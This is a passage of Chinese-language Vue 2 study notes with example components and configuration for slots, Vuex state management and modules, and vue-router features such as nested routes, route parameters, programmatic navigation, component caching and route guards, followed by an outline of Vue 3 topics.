:通过全局事件总线接收数据并解析展示<template> <div class="row"> <div class="card" v-for="user in info.users" :key="user.id" v-show="info.users.length"> <a :href="user.html_url" target="_blank"><img :src="user.avatar_url" alt="user's avatar" style='width: 100px'/></a> <p class="card-text">{{ user.login }}</p> </div> <h1 v-show="info.isFirst">欢迎使用 Github 用户搜索</h1> <h1 v-show="info.isLoading">Loading···</h1> <h1 v-show="info.errorMsg">{{ info.errorMsg }}</h1> </div> </template> <script> export default { name: "List", data() { return { info: { isFirst: true, isLoading: false, errorMsg: '', users: [] } } }, mounted() { this.$bus.$on('getUserInfo', (info) => { // 字面量对比更新 this.info = {...this.info, ...info} }); }, beforeDestroy() { this.$bus.$off('getUserInfo') } } </script> <style scoped> .card { float: left; width: 33.333%; padding: .75rem; margin-bottom: 2rem; border: 1px solid #efefef; text-align: center; } .card > img { margin-bottom: .75rem; border-radius: 50%; } .card-text { font-size: 85%; } </style>
3.16 slot 插槽(组件通信)
插槽(Slot
)是 Vue 提出来的一个概念,正如其名字一样,插槽用于决定将所携带的内容插入到指定的某个位置,从而使模板分块。插槽显不显示、怎样显示是由父组件来控制的,而插槽在哪里显示由子组件来进行控制。插槽可以让父组件可以向子组件指定位置插入 HTML 结构,也是一种组件间的通信方式,适用于 父组件 -> 子组件
-
默认插槽:父组件定义插槽,子组件中使用
slot
标签使用插槽-
App.vue
:往子组件的标签体中定义插槽需要显示的内容<template> <div class="container"> <Category title="美食"> <img src="https://whut.springbear2020.cn/static/img/WHUT.png" alt="WHUT"> </Category> <Category title="游戏"> <ul> <li v-for="(movie, index) in movies" :key="index">{{ movie }}</li> </ul> </Category> <Category title="电影"> <video controls src="https://whut.springbear2020.cn/static/img/WHUT.png"></video> </Category> </div> </template> <script> import Category from "@/components/Category"; export default { name: "App", components: {Category}, data() { return { foods: ['火锅', '早茶', '烤鸭'], games: ['原神', '崩坏3', '守望先锋', '王者荣耀', '和平精英'], movies: ['肖申克的救赎', '美丽人生', '我们的父辈', '阿甘正传', '这个杀手不太冷'] } } } </script> <style> .container { display: flex; justify-content: space-around; } h3 { text-align: center; background-color: orange; } </style>
-
Category.vue
:使用slot
标签显示父组件定义的插槽内容<template> <div class="category"> <h3>{{ title }}</h3> <!-- 默认插槽,显示父组件在 Category 组件体中定义的内容 --> <slot>default value</slot> </div> </template> <script> export default { name: "Category", props: ['title'] } </script> <style scoped> .category { background-color: skyblue; width: 200px; height: 300px; } img { width: 100%; } video { width: 100%; } </style>
-
-
具名插槽:顾名思义,就是有名字的插槽
-
App.vue
:在标签的属性上使用slot
属性指定当前标签属于哪个插槽<template> <div class="container"> <Category title="美食"> <!-- 使用 slot 属性指定具体的插槽 --> <img slot="first" src="https://whut.springbear2020.cn/static/img/WHUT.png" alt="WHUT"> <div slot="second" class="container"> <a href="https://bilibili.com">B 大学</a> </div> </Category> <Category title="游戏"> <ul slot="first"> <li v-for="(movie, index) in movies" :key="index">{{ movie }}</li> </ul> <!-- 复用同一个插槽 --> <div slot="second" class="container"> <a href="https://baidu.com">百度</a> <a href="https://google.com">谷歌</a> </div> </Category> <Category title="电影"> <video slot="first" controls src="https://whut.springbear2020.cn/static/img/WHUT.png"></video> <!-- 只能在 template 标签中使用 v-slot:second,等价于 slot="second" --> <template v-slot:second> <div class="container"> <a href="https://baidu.com">经典</a> <a href="https://baidu.com">热门</a> <a href="https://baidu.com">推荐</a> </div> <h4>前往购票</h4> </template> </Category> </div> </template> <script> import Category from "@/components/Category"; export default { name: "App", components: {Category}, data() { return { foods: ['火锅', '早茶', '烤鸭'], games: ['原神', '崩坏3', '守望先锋', '王者荣耀', '和平精英'], movies: ['肖申克的救赎', '美丽人生', '我们的父辈', '阿甘正传', '这个杀手不太冷'] } } } </script> <style> .container { display: flex; justify-content: space-around; } h3 { text-align: center; background-color: orange; } h4 { text-align: center; } </style>
-
Category.vue
:使用slot
标签的name
属性值指定使用的具体插槽<template> <div class="category"> <h3>{{ title }}</h3> <!-- 具名插槽 --> <slot name="first">default value</slot> <slot name="second">default value</slot> </div> </template> <script> export default { name: "Category", props: ['title'] } </script> <style scoped> .category { background-color: skyblue; width: 200px; height: 300px; } img { width: 100%; } video { width: 100%; } </style>
-
-
作用域插槽:作用域插槽就是带参数(数据)的插槽,强调的则是数据作用的范围。在子组件的插槽中带入参数(数据)提供给父组件使用,该参数(数据)仅在插槽内有效,父组件可以根据子组件中传过来的插槽参数(数据)对展示内容进行定制
-
App.vue
:在template
标签上使用scope
或slot-scope
属性接收来自子组件(插槽使用者)传递的数据<template> <div class="container"> <Category title="电影"> <!-- 接收子组件传递的数据(方式一) --> <template scope="data"> <h4>{{ data.msg }}</h4> <ul> <li v-for="(movie, index) in data.movies" :key="index">{{ movie }}</li> </ul> </template> </Category> <Category title="电影"> <!-- 接收子组件传递的数据(方式二) --> <template slot-scope="{movies, msg}"> <!-- scope="{movies, msg}" <=> slot-scope="{movies, msg} --> <h4>{{ msg }}</h4> <ol> <li v-for="(movie, index) in movies" :key="index">{{ movie }}</li> </ol> </template> </Category> </div> </template> <script> import Category from "@/components/Category"; export default { name: "App", components: {Category} } </script> <style> .container { display: flex; justify-content: space-around; } h4 { text-align: center; } </style>
-
Category.vue
:给父组件(插槽定义者)传递数据<template> <div class="category"> <h3>{{ title }}</h3> <!-- 作用域插槽:给插槽定义者传递数据 --> <slot :movies="movies" :msg="'快来购票观影吧'">default value</slot> </div> </template> <script> export default { name: "Category", props: ['title'], data() { return { movies: ['肖申克的救赎', '美丽人生', '我们的父辈', '阿甘正传', '这个杀手不太冷'] } } } </script> <style scoped> .category { background-color: skyblue; width: 200px; height: 300px; } h3 { text-align: center; background-color: orange; } </style>
-
四、vuex 插件
4.1 概述(组件通信)
-
定义:Vuex 是专门在 Vue 中实现集中式状态(数据)管理的一个 Vue 插件,对 Vue 应用中多个组件的共享状态进行集中式管理,是一种适用于任意组件间通信的方式
-
Vuex 工作原理图:其中 Actions、Mutations、State 称为 Store
4.2 搭建 Vuex 环境
Vue2 中安装 Vuex3:
npm i vuex@3
-
src/store/index.js
:配置 Vuex 的核心Store
:import Vuex from 'vuex' import Vue from "vue"; // 必须先使用 Vuex 插件才能创建 Store 实例 Vue.use(Vuex) // 响应组件的动作 const actions = {} // 操作数据 state const mutations = {} // 存储数据 const state = {} // 加工数据 state const getters = {} export default new Vuex.Store({ actions, mutations, state, getters })
-
main.js
:引入为 Vuex 配置的 Store 并配置:import Vue from "vue"; import App from './App.vue'; import store from './store/index' Vue.config.productionTip = false new Vue({ el: '#app', render: h => h(App), // vuex 的核心配置 store: store })
4.3 求和案例
-
main.js
:引入为 Vuex 配置的 Store 并配置:import Vue from "vue"; import App from './App.vue'; import store from './store/index' Vue.config.productionTip = false new Vue({ el: '#app', render: h => h(App), // vuex 的核心配置 store: store })
-
src/store/index.js
:配置 Vuex 的核心Store
:import Vuex from 'vuex' import Vue from "vue"; // 必须先使用 Vuex 插件才能创建 Store 实例 Vue.use(Vuex) // 响应组件中的动作 const actions = { jiaOdd(context, val) { if (context.state.sum % 2 === 1) { context.commit('JIA', val) } }, jiaWait(context, val) { setTimeout(() => { context.commit('JIA', val) }, 1000); } } // 操作数据 const mutations = { JIA(state, val) { state.sum += val }, JIAN(state, val) { state.sum -= val } } // 存储数据 const state = { sum: 0 } // 加工 state 中的数据 const getters = { enlarge(state) { return state.sum * 10 } } export default new Vuex.Store({ actions, mutations, state, getters })
-
Count.vue
:通过this.$store.dispath()
、this.$store.commit()
将组件中的动作分别分发给Actions
处理业务逻辑、Mutations
操作数据<template> <div> <h1>当前求和结果:{{ $store.state.sum }}</h1> <h1>数据处理结果:{{ $store.getters.enlarge }}</h1> <select v-model.number="n"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> </select> <button @click="add">+</button> <button @click="sub">-</button> <button @click="addOdd">当前求和为奇数时加</button> <button @click="addWait">等一会再加</button> </div> </template> <script> export default { name: "Count", data() { return { n: 1 } }, methods: { add() { // 直接提交给 Mutations 处理数据 this.$store.commit('JIA', this.n) }, sub() { this.$store.commit('JIAN', this.n) }, addOdd() { // 分发给 Actions 处理业务逻辑 this.$store.dispatch('jiaOdd', this.n) }, addWait() { this.$store.dispatch('jiaWait', this.n) } } } </script> <style scoped> button { margin: 5px; } </style>
4.4 vuex 中的四种 map
mapState
与mapGetters
:将 Store 中的 state 和 getters 映射为 computed 计算属性mapMutations
与mapActions
:将 Store 中的 mutations 和 actions 映射为 methods 方法
<template>
<div>
<h1>当前求和结果:{{ sum }}</h1>
<h1>数据处理结果:{{ enlarge }}</h1>
<button @click="add(n)">+</button>
<button @click="sub(n)">-</button>
<button @click="addOdd(n)">当前求和为奇数时加</button>
<button @click="addWait(n)">等一会再加</button>
<hr/>
<h1>{{ school }}</h1>
<h1>{{ address }}</h1>
</div>
</template>
<script>
import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'
export default {
name: "Count",
data() {
return {
n: 1
}
},
computed: {
/*
* 方式一(对象式)
* ...mapState({sum: 'sum', school: 'school', address: 'address'})
* 方式二(数组式):当 state 中数据 key 与计算属性的函数名相同时,可使用数组简写法
* ...mapState(['sum', 'school', 'address'])
*
* 注:mapGetters、mapMutations、mapActions 同理
*/
// 将 state 映射为计算属性
...mapState(['sum', 'school', 'address']),
// 将 getters 映射为计算属性
...mapGetters(['enlarge'])
},
methods: {
// 用于生成与 Mutations 对话的方法
...mapMutations({add: 'JIA', sub: 'JIAN'}),
// 用于生成与 Actions 对话的方法
...mapActions({addOdd: 'jiaOdd', addWait: 'jiaWait'})
},
}
</script>
4.5 vuex 模块化
-
main.js
:引入为 Vuex 配置的 Store 并配置:import Vue from "vue"; import App from './App.vue'; import store from './store/index' Vue.config.productionTip = false new Vue({ el: '#app', render: h => h(App), store: store })
-
src/store/index.js
:引入其它模块化配置import Vuex from 'vuex' import Vue from "vue" import countConfig from "@/store/countConfig"; import personConfig from "@/store/personConfig"; Vue.use(Vuex) export default new Vuex.Store({ modules: { countStore: countConfig, personStore: personConfig } })
-
src/store/*.js
:各种模块化的 Store 配置-
src/store/countConfig.js
export default { namespaced: true, actions: { jiaOdd(context, val) { if (context.state.sum % 2 === 1) { context.commit('JIA', val) } }, jiaWait(context, val) { setTimeout(() => { context.commit('JIA', val) }, 1000); } }, mutations: { JIA(state, val) { state.sum += val }, JIAN(state, val) { state.sum -= val } }, state: { sum: 0 }, getters: { enlarge(state) { return state.sum * 10 } } }
-
src/store/personConfig.js
export default { namespaced: true, actions: { addPersonLi(context, value) { if (value.name.indexOf('李') === 0) { context.commit('ADD_PERSON', value) } else { alert(value.name + '不姓李') } } }, mutations: { ADD_PERSON(state, value) { state.persons.unshift(value) } }, state: { persons: [ {id: 1, name: 'bear'} ] }, getters: { firstPersonName(state) { return state.persons[0].name } } }
-
-
src/component/*.vue
:在各种组件中通过对应的 store 访问和操作数据-
Person.vue
<template> <div> <input type="text" v-model="name"> <button @click="addPerson">添加</button> <button @click="addPersonWang">添加一个姓李的人</button> <h2>第一个人的姓名:{{ first }}</h2> <ol> <li v-for="person in persons" :key="person.id">{{ person.name }}</li> </ol> <h2 style="color: red">结果:{{ sum }}</h2> </div> </template> <script> import {nanoid} from 'nanoid' export default { name: "Person", data() { return { name: '' } }, computed: { sum() { return this.$store.state.countStore.sum }, persons() { return this.$store.state.personStore.persons }, first() { return this.$store.getters['personStore/firstPersonName'] } }, methods: { addPerson() { const obj = {id: nanoid(), name: this.name} this.$store.commit('personStore/ADD_PERSON', obj) this.name = '' }, addPersonWang() { const obj = {id: nanoid(), name: this.name} this.$store.dispatch('personStore/addPersonLi', obj) this.name = '' } } } </script> <style scoped> </style>
-
Count.vue
<template> <div> <h1>求和:{{ sum }}</h1> <h1>十倍:{{ enlarge }}</h1> <select v-model.number="n"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> </select> <button @click="add(n)">+</button> <button @click="sub(n)">-</button> <button @click="addOdd(n)">当前求和为奇数时加</button> <button @click="addWait(n)">等一会再加</button> <h2 style="color: red">Person 总人数:{{ persons.length }}</h2> </div> </template> <script> import {mapState, mapGetters, mapActions, mapMutations} from 'vuex' export default { name: "Count", data() { return { n: 1 } }, methods: { ...mapMutations('countStore', {add: 'JIA', sub: 'JIAN'}), ...mapActions('countStore', {addOdd: 'jiaOdd', addWait: 'jiaWait'}) }, computed: { ...mapState('countStore', {sum: 'sum'}), ...mapGetters('countStore', ['enlarge']), ...mapState('personStore', ['persons']) }, } </script> <style scoped> button { margin: 5px; } </style>
-
-
App.vue
<template> <div> <Count></Count> <Person></Person> </div> </template> <script> import Count from "@/components/Count"; import Person from "@/components/Person"; export default { name: 'App', components: {Person, Count} } </script>
五、vue-router 插件
5.1 概述
- 定义:vue-router 是 vue 的一个插件库,专门用来实现 SPA(
Simple Page web Application
)单页应用 - 路由使用的注意事项:
- 路由组件通常放在
pages
文件夹,一般组件通常放在components
文件夹 - 通过切换隐藏的路由组件,默认立即销毁,需要展示时再挂载
- 每个组件都有自己的
$route
属性,其中存储着自己的路由信息 - 整个应用只有一个 router,可以通过组件的
$router
获取
- 路由组件通常放在
5.2 路由基本使用
Vue2 中安装 vue-router3:
npm i vue-router@3
注:需在
public
目录下的index.html
中引入bootstrap.css
-
main.js
:引入路由插件并进行配置import Vue from "vue"; import App from './App.vue'; import VueRouter from 'vue-router' import router from './router/index' Vue.config.productionTip = false Vue.use(VueRouter) new Vue({ el: '#app', render: h => h(App), // 配置路由器 router: router })
-
src/router/index.js
:配置路由插件import VueRouter from 'vue-router' import About from "@/pages/About"; import Home from "@/pages/Home"; export default new VueRouter({ routes: [ { path: '/about', component: About }, { path: '/home', component: Home } ] })
-
src/pages/*.vue
:各种路由组件-
src/pages/Home.vue
<template> <h2>我是 Home 的内容</h2> </template> <script> export default { name: "Home" } </script>
-
src/pagse/About.vue
<template> <h2>我是 About 的内容</h2> </template> <script> export default { name: "About" } </script>
-
-
App.vue
:router-link
标签实现路由组件页面切换,router-view
标签实现组件页面展示<template> <div> <div class="row"> <div class="col-xs-offset-2 col-xs-8"> <div class="page-header"><h2>Vue Router Demo</h2></div> </div> </div> <div class="row"> <div class="col-xs-2 col-xs-offset-2"> <div class="list-group"> <!-- 路由实现 SPA 应用页面切换 --> <router-link active-class="active" class="list-group-item" to="/home">Home</router-link> <router-link active-class="active" class="list-group-item" to="/about">About</router-link> </div> </div> <div class="col-xs-6"> <div class="panel"> <div class="panel-body"> <!-- 展示路由组件 --> <router-view></router-view> </div> </div> </div> </div> </div> </template> <script> export default { name: "App" } </script>
5.3 嵌套与命名路由
-
嵌套路由:通过
children
配置项在当前路由路径下配置子路由路径export default new VueRouter({ routes: [ { // 命名路由 name: 'zhuye', path: '/home', component: Home, // 嵌套路由配置 children: [ { name: 'xinwen', path: 'news', component: News }, { name: 'xiaoxi', path: 'message', component: Message } ] }, { path: '/about', component: About } ] })
-
命名路由:使用路由配置的
name
配置项为当前路由路径指定别名以简化路由路径的书写<!-- 简化前:需要书写路由完整路径 --> <route-link to="/home/message">消息</route-link> <!-- 简化后:通过路由别名简化路径 --> <route-link :to="{name: 'xiaoxi'}">消息</route-link>
5.4 路由参数
-
路由的
query
参数:用于在路由路径后传递参数(key=val&key=val
)-
src/router/index.js
:配置嵌套路由import VueRouter from 'vue-router' import About from "@/pages/About"; import Home from "@/pages/Home"; import Message from "@/pages/Message"; import News from "@/pages/News"; import Detail from "@/pages/Detail"; export default new VueRouter({ routes: [ { path: '/about', component: About }, { path: '/home', component: Home, children: [ { path: 'message', component: Message, children: [ { path: 'detail', component: Detail } ] }, { path: 'news', component: News } ] } ] })
-
src/pages/Home.vue
:可路由到News.vue
或Message.vue
<template> <div> <h2>Home 组件内容</h2> <div> <ul class="nav nav-tabs"> <li> <router-link class="list-group-item" active-class="active" to="/home/news">News</router-link> </li> <li> <router-link class="list-group-item" active-class="active" to="/home/message">Message</router-link> </li> </ul> <router-view></router-view> </div> </div> </template> <script> export default { name: "Home" } </script>
-
src/pages/Message.vue
:点击消息项可展示详情组件Detail.vue
<template> <div> <ul> <li v-for="m in messages" :key="m.id"> <!-- 方式一:数据绑定 + 模板字符串 --> <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{ m.title }}</router-link> <!-- 方式二:to 的对象写法 --> <!-- <router-link :to="{ path: '/home/message/detail',query: {id: m.id,title: m.title }}"> {{ m.title }} </router-link> --> </li> </ul> <hr/> <router-view></router-view> </div> </template> <script> export default { name: "Message", data() { return { messages: [ {id: 1, title: 'm1'}, {id: 2, title: 'm2'}, {id: 3, title: 'm3'} ] } } } </script>
-
src/pages/Detail.vue
:接收query
路由参数,展示消息详情<template> <div> <ul> <!-- 通过 VC 配置的 $route 信息读取 query 参数 --> <li>消息编号:{{ $route.query.id }}</li> <li>消息内容:{{ $route.query.title }}</li> </ul> </div> </template> <script> export default { name: "Detail" } </script>
-
-
路由的
params
参数:路由配置时使用占位符为参数占位,传递参数时使用RESTful
风格-
src/router/index.js
:在路由路径中使用占位符为参数占位import VueRouter from 'vue-router' import About from "@/pages/About"; import Home from "@/pages/Home"; import Message from "@/pages/Message"; import News from "@/pages/News"; import Detail from "@/pages/Detail"; export default new VueRouter({ routes: [ { path: '/home', component: Home, children: [ { path: 'news', component: News }, { path: 'message', component: Message, children: [ { name: 'xiangqing', // 占位符,声明路径参数占位 path: 'detail/:id/:title', component: Detail } ] } ] }, { path: '/about', component: About } ] })
-
src/pages/Message.vue
:使用RESTful
风格传递参数<template> <div> <ul> <li v-for="m in messages" :key="m.id"> <!-- 方式一:数据绑定 + 模板字符串 --> <router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{ m.title }}</router-link> <!-- 方式二:to 的对象写法,必须使用路由配置的 name 别名,而不能使用 path --> <!-- <router-link :to="{ name: 'xiangqing', params: {id: m.id,title: m.title }}"> {{ m.title }} </router-link> --> </li> </ul> <hr/> <router-view></router-view> </div> </template> <script> export default { name: "Message", data() { return { messages: [ {id: 1, title: 'm1'}, {id: 2, title: 'm2'}, {id: 3, title: 'm3'} ] } } } </script>
-
src/pages/Detail.vue
:接收params
参数,展示详情<template> <div> <ul> <!-- 通过 VC 配置的 $route 信息读取 params 参数 --> <li>消息编号:{{ $route.params.id }}</li> <li>消息内容:{{ $route.params.title }}</li> </ul> </div> </template> <script> export default { name: "Detail" } </script>
-
-
路由的
props
配置:让路由组件更方便地接收参数-
src/router/index.js
:通过props
配置项接收路由参数,方便当前组件通过 props 获取传递的参数import VueRouter from 'vue-router' import About from "@/pages/About"; import Home from "@/pages/Home"; import Message from "@/pages/Message"; import News from "@/pages/News"; import Detail from "@/pages/Detail"; export default new VueRouter({ routes: [ { path: '/home', component: Home, children: [ { path: 'news', component: News }, { path: 'message', component: Message, children: [ { name: 'xiangqing', path: 'detail/:id/:title', component: Detail, // 方式一(对象式):将所有 key-val 通过 props 传递给 Detail 组件 // props: {id: 123, title: 'Spring-_-Bear'}, // 方式二(布尔值):取值为 true 则将路由收到的所有 `params` 参数通过 props 传递给 Detail 组件 // props: true, // 方式三(函数式):返回的每一组 key-val 通过 props 传递给 Detail 组件 props($route) { return { id: $route.params.id, title: $route.params.title } } } ] } ] }, { path: '/about', component: About } ] })
-
src/pages/Details.vue
:通过props
接收本路由组件中定义的属性<template> <div> <ul> <li>消息编号:{{ id }}</li> <li>消息内容:{{ title }}</li> </ul> </div> </template> <script> export default { name: "Detail", props: ['id', 'title'] } </script>
-
5.5 编程式路由导航
-
两种浏览器页面跳转记录模式:默认为 push
- push 模式:新纪录压栈
- replace 模式:新纪录替换栈顶元素
-
router-link
的replace
和push
:控制路由跳转时操作浏览器的页面跳转记录模式<router-link replace></router-link>
-
编程式路由导航实现页面跳转:
<template> <div> <div class="row"> <div class="col-xs-offset-2 col-xs-8"> <div class="page-header"><h2>Vue Router Demo</h2></div> <button @click="back">后退</button> <button @click="forward">前进</button> <button @click="go">任意跳转</button> <button @click="pushView">push to detail</button> <button @click="replaceView">replace to detail</button> </div> </div> <div class="row"> <div class="col-xs-2 col-xs-offset-2"> <div class="list-group"> <!-- SPA 实现页面切换,可使用 push 或 replace 属性控制跳转记录模式 --> <router-link active-class="active" class="list-group-item" to="/home">Home</router-link> <router-link active-class="active" class="list-group-item" to="/about">About</router-link> </div> </div> <div class="col-xs-6"> <div class="panel"> <div class="panel-body"> <!-- 展示组件 --> <router-view></router-view> </div> </div> </div> </div> </div> </template> <script> export default { name: "App", methods: { back() { this.$router.back(); }, forward() { this.$router.forward(); }, go() { // 参数:正数表示前进,负数表示前进 this.$router.go(-1); }, pushView() { this.$router.push({ path: '/home/message/detail', query: { id: '1', title: 'spring' } }) }, replaceView() { this.$router.replace({ path: '/home/message/detail', query: { id: '2', title: 'bear' } }) } } } </script> <style> button { margin: 5px; } </style>
5.6 缓存路由组件
通过切换隐藏的路由组件,默认立即销毁,需要展示时再挂载。可以通过配置修改销毁规则
<!-- 切换页面时对 include 中指定的组件进行缓存,不销毁 -->
<keep-alive include="News">
<router-view></router-view>
</keep-alive>
<!-- 缓存多个路由组件,页面切换时不销毁 -->
<keep-alive :include="['News', 'Message']">
<router-view></router-view>
</keep-alive>
5.7 路由生命周期钩子
<script>
export default {
name: "News",
data() {
return {
opacity: 1
}
},
// 当前路由组件激活时回调此钩子
activated() {
this.timer = setInterval(() => {
this.opacity -= 0.01;
console.log(this.opacity)
if (this.opacity <= 0) {
this.opacity = 1;
}
}, 20);
},
// 当前路由组件失活时回调此钩子
deactivated() {
console.log('deactivated')
clearInterval(this.timer)
},
}
</script>
5.8 路由守卫
-
全局路由守卫:
src/router/index.js
import VueRouter from 'vue-router' import About from "@/pages/About"; import Home from "@/pages/Home"; const router = new VueRouter({ routes: [ { path: '/home', component: Home, meta: { title: '主页' } }, { path: '/about', component: About, meta: { isAuth: true, title: '关于' } } ] }) // 全局前置路由守卫 router.beforeEach((to, from, next) => { // 是否需要权限检查 if (to.meta.isAuth) { if (localStorage.getItem('username') !== 'root') { alert('权限不足,无权查看') } else { next() } } else { next(); } }); // 全局后置路由守卫 router.afterEach((to, from) => { // 切换页面标题名称 if (to.meta.title) { document.title = to.meta.title } else { document.title = '主页' } }); export default router
-
独享路由守卫:
src/router/index.js
import VueRouter from 'vue-router' import About from "@/pages/About"; import Home from "@/pages/Home"; export default new VueRouter({ routes: [ { path: '/home', component: Home, meta: { title: '主页' } }, { path: '/about', component: About, meta: { isAuth: true, title: '关于' }, // 独享路由守卫只有前置,没有后置 beforeEnter(to, from, next) { if (localStorage.getItem('username') !== 'root') { alert('权限不足,无权查看') } else { next() } } } ] })
-
组件内路由守卫:
<script> export default { name: "Message", // 组件路由守卫,进入该组件之前调用 beforeRouteEnter(to, from, next) { if (localStorage.getItem('username') !== 'root') { alert('权限不足,无权查看') } else { next() } }, // 组件路由守卫,离开该组件之前调用 beforeRouteLeave(to, from, next) { } } </script>
5.9 history 与 hash
- hash 模式:浏览器地址栏
#
及其之后的内容都是 hash 值,不会包含在 HTTP 请求路径中- 地址中永远带着 # 号,不美观
- 兼容性较好
- 将地址通过第三方 app 分享,若 app 检验严格,则地址会被标记为不合法
- history 模式:
- 地址干净,美观
- 兼容性相较略差
- 部署上线时需要后端解决 SPA 应用页面刷新时cun’zai
六、Vue3
- vue3 简介
- 使用 vue-cli 创建工程
- 使用 vite 创建工程
- 分析工程结构
- 安装开发者工具
- 初识 setup
- ref 函数 - 处理基本类型
- ref 函数 - 处理对象类型
- reactive 函数
- 回顾 vue2 的响应式原理
- Vue3 响应式原理 - Proxy
- Vue3 响应式原理 - Reflect
- reactive 对比 ref
- setup 的两个注意点
- computed 计算属性
- watch 监视 ref 定义的数据
- watch 监视 reactive 定义的数据
- watch 时的 value 的问题
- watchEffect 函数
- vue3 生命周期
- 自定义 hook
- toRef 与 toRefs
- shallowReactive 与 shallowRef
- readonly 与 shallowReadonly
- toRaw 与 markRaw
- customRef
- provide 与 inject
- 响应式数据的判断
- CompositionAPI 的优势
- Fragment 组件
- Teleport 组件
- Suspense 组件
- vue3 中的其它改变